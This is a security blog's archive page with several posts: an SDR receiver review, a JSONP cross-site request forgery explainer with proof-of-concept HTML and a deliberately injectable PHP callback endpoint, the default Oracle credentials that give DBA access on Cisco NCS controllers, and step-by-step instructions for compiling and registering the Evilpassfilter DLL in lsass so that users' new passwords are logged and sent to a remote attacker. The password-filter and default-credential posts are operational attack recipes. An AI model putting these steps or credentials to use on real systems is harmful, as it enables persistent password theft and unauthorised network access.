Category Archives: Security

RF fun with a SDR

So this post will be the first of a series on fun “hacking” hardware that I own.

I just received my RTL-SDR to play with radio frequencies.

This one is based on a RTL2832U chipset and a R820T tuner. My choice was in part influenced by this review. Note that this kind of device isa receiver, so it will not be able to transmit anything.

Keedox RTL-SDR (RTL2832U with R820T tuner)

This model has the advantage of being really small, but maybe at the costing of heating. I noticed the USB connector becomes painfully hot during long sessions. Nothing serious, but a negative point though.

Of course, it is fully compatible with Linux and Gqrx even maintain a package for Ubuntu, so getting it to work consists simply in one apt-get command.

Gqrx

Gqrx

I already intercepted a few conversations on the AM 430Hz range, and a lot of weird signals (many are probably car or parking doors) all over that I recorded and will look at later.

Well, it is fun! Thanks to @virtualabs for bringing it up to my interest.

 

The joy of dependencies: Metasploit on Fedora 20

UPDATE 02/2015 : see there for the procedure on Fedora 21

As I started to use Fedora 20 at work – by the way, a solid distro with all security features enabled, I had the bad surprise to get similar issues to those on OS X.
Again, we will have to face the joy of dependencies! Fedora provides Ruby 2.0 by default, so firing msfconsole would fail with many openssl warnings, ending with:

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(in)Security of JSONP: CSRF risks

JSONP vs JSON

I had an opportunity to experiment exploiting JSONP in real life. Honestly, I had never heard of it before.

JSON is a well known method to serialize data, but what is JSONP? Actually, it is nothing new, but rather a specific use of JSON.

In AJAX websites, XMLHttpRequest is used in client-side Javascript code to forge HTTP requests, which fetch data from some JSON service.

 For example, following a GUI event (onclick, mouseover, …), such XHR code may be executed:

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'http://example.com/search.php', true);
xhr.send(null);

The requested server may answer with XML data, or JSON like here:

{"id": 1, "name": "Foo", "price": 123}

However, XHR request is limited to the current domain, due to the SOP (Same Origin Policy) that is enforced on modern browsers. What if it is necessary to retrieve data from another domain?

Here comes JSONP as one of the possible solutions.

hello({"id": 1, "name": "Foo", "price": 123});

As you can see, data is padded (P in JSONP) inside a callback function, which we are going to study.

How JSONP works

The trick consists in requesting the JSONP service inside <script> tags, which, by design, are out of the SOP scope.

The call to the JSONP service just defines a callback function name as a parameter. Note that the callback function is included in the same page as the call.

Then, the JSONP service answers with data encapsulated inside the callback function name.  That way, the browser will execute the callback function and pass data as its parameters.

It is confusing to explain and I may have lost you in trying to explain. Hopefully this diagram may clarify this stuff:

XHR vs JSONP

XHR vs JSONP

Domain1 XHR requests to domain2 are not allowed. Therefore, the callback trick ensures that data is fetched from domain2 while the corresponding code is processed in the context of domain1.

All this way around has a unique goal: have the code to be executed in the same context as the originating page. In other words: bypassing the SOP.

 Security Concerns

This is not without any security caveats. Someone outlined some very valid points on Stackexchange, and it is well written, so I will just copy and paste what he said about JSONP security:

  • Requires excessive trust. Suppose you have a page hosted on a.com and it uses JSONP to access services provided by b.org. This involves placing 100% trust in b.org. If b.org is malicious or buggy, it can subvert the security of the embedding page and all of the a.com origin. This kind of excess trust is dangerous from a security perspective: it makes your application fragile.
    To put it another way: JSONP is basically a self-inflicted XSS. Yes, OK, I know it’s a feature, not a bug, but still…
  • CSRF vulnerabilities. You have to remember to defend against CSRF vulnerabilities, and with JSONP, that gets a bit tricky. Standard advice is to ensure that only POST requests can trigger a side-effect, and to include a CSRF token in all POST requests; but JSONP involves sending a GET request to trigger a side-effect, which ain’t exactly the cleanest solution you’ve ever seen. So this means that the host that provides JSONP service needs to remember to check CSRF tokens even on GET requests. Also, it requires a bit of a tricky protocol for the embedding page (a.com) to obtain the proper CSRF token from the JSONP service (b.org). It gets messy.
  • Causes mixed-content warnings. Suppose we have a page hosted on https://a.com and it accesses a JSONP service on http://b.org. Then this will inevitably trigger a scary-looking mixed-content warning (since JSONP involving loading a script from http://b.org).
  • User authentication gets ugly. If b.org wants to authenticate the user, that gets tricky to do when using JSONP. The embedding page (a.com) needs to first somehow give the user an opportunity to log into b.org in advance, before accessing b.org‘s JSONP service. Both sites need to coordinate.

I would just add that, though it is not perfect, it is at least possible to mitigate CSRF on GET requests by checking the HTTP referer (when possible).

Is this complete? Let me know if you have other suggestions.

Simple Exploitation

During a pentest, I had to audit a rather complex application which happened to do some requests to another server in JSONP.

The few following snippets are a simplified representation of the case.

Exploitation code right below may be uploaded to a server controlled by the attacker (who may need some social engineering to get the visitor to reach his page).

<html>
 <head>
 <script>
 hello = function(data) {
 alert("hello " + data.name);
 }
 </script>
 </head>
 <body>
 <h1>JSONP Call</h1>
 <script src="http://domain.com/jsonp.php?jsonp_callback=hello"></script>
 </body>
 </html>

So in red, the call to JSONP with the callback function name indicated. In green, the callback function itself. It is just displaying an alert box containing the fetched JSONP data, but of course it could have malicious features (like cookie stealing).

The JSONP service can be simulated by the following code,  hosted on another server (e.g. the attack target):

<?php
 header('Cache-Control: no-cache, must-revalidate');
 header('Expires: Mon, 1 Jan 2000 01:00:00 GMT');
 header('Content-type: application/json');
 $data = '{ "name": "world" }';
 echo $_GET['jsonp_callback'] . '(' . $data . ');';
?>

After receiving the <script> call, the function would just return:

hello({ "name": "world" });

Which, when received by the browser, would trigger the nice alert box.

 

JSONP callback execution

JSONP callback execution

The attack sequence may be represented like this:

Example of exploitation process of JSONP

Example of exploitation process of JSONP

In other words, the user browser is used as a proxy to make CSRF requests, which should be forbidden.

So what?

Exploitation depends on the target application configuration and the capability of the attacker to inject a Javascript call along with the callback function into the victim’s browser.

In the case I experienced, the JSONP host was not checking the referer. On top of that, it was hosted inside the corporate LAN.

So I was able to have a user visit a page on my server, which would silently make his browser call the JSONP service… and execute the Javascript in turn in the context of my page.

Impacts:

  • hijack of the user session to the server (theft of user cookies),
  • access to confidential data,
  • bypass of network filtering and SOP (the browser acts as a proxy),
  • phishing scenarios (fake forms, redirections, …).

Even if the target JSONP server had checked the referer, it would still be vulnerable in case the legitimate calling application would suffer from code injection (XSS).

Conclusion

Once the concept of JSONP is clear, it appears to be very simple and powerful to exploit.

As I just discovered this and had to craft the exploitation quickly, I would not conclude definitely on the topic.

Though, it seems that a JSONP service should at least check the referer before processing a call to get to an acceptable security level.

But I am not sure yet of what else could be done to improve the security further. It may be just crappy by design.

Please share if you have a more educated opinion on the topic. And as always, comments and constructive criticisms are welcome. Let me know if something is unclear or incorrect.

References

Pentest of a Wi-Fi network with Cisco NCS

I had a chance to audit this device during a Wi-Fi pentest. Cisco Prime Network Control System is a Wi-Fi controller that allows to manage multiple access points and centralize their configuration: Wi-Fi settings, access control, security, etc.

I was surprised how easy it was to compromise this equipment, thanks to default credentials. Of course, Cisco published a patch… however how many network teams would have applied the patch ? Routers, switches, Wi-Fi controllers, especially when they are not part of the core infrastructure, are often dropped and forgotten for years…

Here is the vendor advisory, which is about “unspecified” default credentials. With a little of ninja googling, I managed to glue the pieces.

It was not that easy to find the credentials in questions, but the guys from Tenable Security managed to get the info: wcsdba / wcs123.

Now, you will think, “ok, but we need to find a way to reach the database…’. Piece of cake! By default, the device exposes an Oracle listener on port 1522.

Then, we would need to know the Oracle instance… Don’t think too much, don’t even look up at your wordlists, this is just: WCS.

Of course, as you should guess now, the account has DBA privileges. :-)

So, in summary:

Oracle listener on port TCP 1522
Instance: WCS
Account: wcsdba
Password: wcs123
Privileges: DBA

Now you can do pretty much every thing: control network settings, grab and crack password hashes, etc.

Besides, there is also an XSS on a login page…

Well done Cisco, for not hardening anything.  :-/

Have fun!

Password stealing using a password filter

Nice stuff from @mubix: the technic consists in injecting a DLL to lsass.exe, using the password filter feature of Windows.

The password filter architecture is useful to check that a password is compliant with the system security policy. It will typically check that when a user changes his password, it follows the required complexity.

Microsoft opened the API so that users can extend the functionality with their own filters.

Mubix diverted this API by developing a password logger: the DLL just logs the password both on the disk and a remote server,  and does nothing else.

A perfect way to maintain a persistent access… I tested it:

Evilpassfilter exploitation process

Evilpassfilter exploitation process

  1. Evilpassfilter.dll is loaded into lsass.exe
  2. A user updates his password
  3. The password goes through the Evilpassfilter password filter, which notifies the attacker through HTTP and also logs it locally.

Here is what I did to get it work (Windows 7 x64):

  • Make sure the local password security policy is enabled on the target
  • Create a new Win32 project in Visual Studio (2012)
  • Eventually delete unnecessary files, to start with an empty project (stadfx.h and cie)
  • Import the source code
  • Create a Evilpassfilter.def file, which defines the exports:
    LIBRARY Evilpassfilter
    EXPORTS
       InitializeChangeNotify
       PasswordFilter
       PasswordChangeNotify
  • In the project properties, make sure to select the appropriate architecture, matching with the one of your target.

    Selecting the compilation target architecture (win32/x64)

    Selecting the compilation target architecture (win32/x64)

  • In the input settings of the link editor, add wininet.lib as additional dependancy.
  • Also add Evilpassfilter.def as module definition file.

    Evilpassfilter Visual Studio settings

    Evilpassfilter Visual Studio settings

  • In the source code, fix line 72: return; –> return 1;
  • Now you should be able to compile the library. You may want to make sure that the DLL is valid and integrated the exports (open it with IDA or a PE tool):

    Evilpassfilter.dll exports seen in IDA

    Evilpassfilter.dll exports seen in IDA

  • Copy the resulting DLL to the system32 folder.
  • Open regedit HKLM\System\CurrentControlSet\Control\Lsa
    and add Evilpassfilter to the Notification Packages

Reboot and… now you should know what to do next :-)